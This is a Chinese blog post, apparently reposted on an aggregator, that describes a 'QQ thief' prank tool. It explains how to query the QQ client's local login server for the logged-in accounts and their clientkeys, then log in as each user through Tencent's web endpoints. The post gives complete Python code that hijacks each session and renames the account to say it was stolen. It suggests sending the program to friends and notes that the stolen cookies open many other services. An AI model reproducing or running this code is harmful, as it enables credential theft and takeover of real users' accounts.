QQ大盗 - 巧用clientkey
Posted 池温希傲
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了QQ大盗 - 巧用clientkey相关的知识,希望对你有一定的参考价值。
场景:
1.将程序发给好友,好友打开 qq昵称就会被秒改为”账号已被盗“。
2.将程序运行在自己的电脑,让那些随意借用电脑看片聊天的室友产生一个觉悟:乱使用别人电脑很可能会泄露隐私。
思路:
通过数据包模拟网页中的qq快速登录,拿到登录凭证(Cookie)修改qq昵称 实现账号被盗的假象。
1、local_token:
qq快速登录是基于qq的客户端实现的,qq客户端启动时会生成一个local_token(保存在本地的一个钥匙),通过local_token访问qq客户端的本地服务器(4301端口)可以获取到电脑上登录的所有qq账号。
2、clientkey:
仅仅知道qq账号肯定是无法登录的,还要拿clientkey。可以把clientkey理解成密码,qq客户端登录成功时会生成这个值,每个成功登录的账号都有自己的clientkey 相互匹配,只要拿到账号的clientkey就可以偷偷快速登录了。
3、cookies:
前面两步其实都是在本地网络下完成的,验证于qq客户端的本地服务器。现在提交uin+clientkey模拟快速登录是需要腾讯的远程服务器来验证的,验证通过就可以拿到登录凭证了(Cookies)。
4、ldw:
通过前几步我们已经拿到登录凭证了,可以为所欲为访问腾讯所有web端的服务了,现在我想修改账号的昵称。
我选择了通过qq个人中心的一个接口修改昵称,这个接口需要一个ldw值,并不复杂,一个get请求就能拿到。
实现:
以下使用python编程语言操作。
from urllib import request from http import cookiejar import json import re opener=None cookie=None local_token=None json_uins=None def modNick(index,nick): clientuin=json_uins[index][‘account‘] clientkey=None ldw=None #拿到clientkey url = ‘https://localhost.ptlogin2.qq.com:4301/pt_get_st?clientuin=‘+clientuin+‘&callback=ptui_getst_CB&r=0.810010167110566&pt_local_tk=‘ + local_token opener.open(url) for item in cookie: if (item.name == ‘clientkey‘): clientkey = item.value break #登录 url=‘https://ssl.ptlogin2.qq.com/qqid?pt_clientver=5563&pt_src=1&keyindex=9&sid=5&ptlang=2052&clientuin=‘+clientuin+‘&clientkey=‘+clientkey opener.open(url) #拿到ldw url="http://id.qq.com/cgi-bin/get_base_key?r=0.9431299830075388" opener.open(url) for item in cookie: if (item.name == ‘ldw‘): ldw = item.value break #修改昵称 url = ‘http://id.qq.com/cgi-bin/userinfo_mod‘ data = ‘&n=‘ + nick + ‘&ldw=‘ + ldw res = opener.open(url, bytes(data, ‘utf-8‘)) data = res.read() if __name__==‘__main__‘: #opener初始化 cookie=cookiejar.CookieJar() opener=request.build_opener(request.HTTPCookieProcessor(cookie)) opener.addheaders = [(‘Referer‘,‘https://xui.ptlogin2.qq.com‘)] #拿到local_token url=‘https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=1006102&daid=1&style=23&hide_border=1&proxy_url=http%3A%2F%2Fid.qq.com%2Flogin%2Fproxy.html&s_url=http://id.qq.com/index.html‘ opener.open(url) for item in cookie: if(item.name == ‘pt_local_token‘): local_token=item.value break #拿到uins url=‘https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=0.21624413130736064&pt_local_tk=‘+local_token res=opener.open(url) json_uins=json.loads(re.compile(‘var var_sso_uin_list=(.*?);‘).findall(str(res.read(),‘utf-8‘))[0]) #修改昵称 for index in range(0,len(json_uins)): modNick(index, ‘帐号已被盗!‘)
最后说几句:
改个昵称啥的都是小事情,拿到Cookies可以做到的事情太多了。请以自我娱乐的意识去研究扩展,不要干扰影响他人网络环境。
以上是关于QQ大盗 - 巧用clientkey的主要内容,如果未能解决你的问题,请参考以下文章
调用QQ/TIM算法实现获取当前登陆账号和ClientKey
巧用Vscode编辑器,快速编辑代码,教你一键写完一段代码,向合格的cv工程师前进
巧用Vscode编辑器,快速编辑代码,教你一键写完一段代码,向合格的cv工程师前进
巧用Vscode编辑器,快速编辑代码,教你一键写完一段代码,向合格的cv工程师前进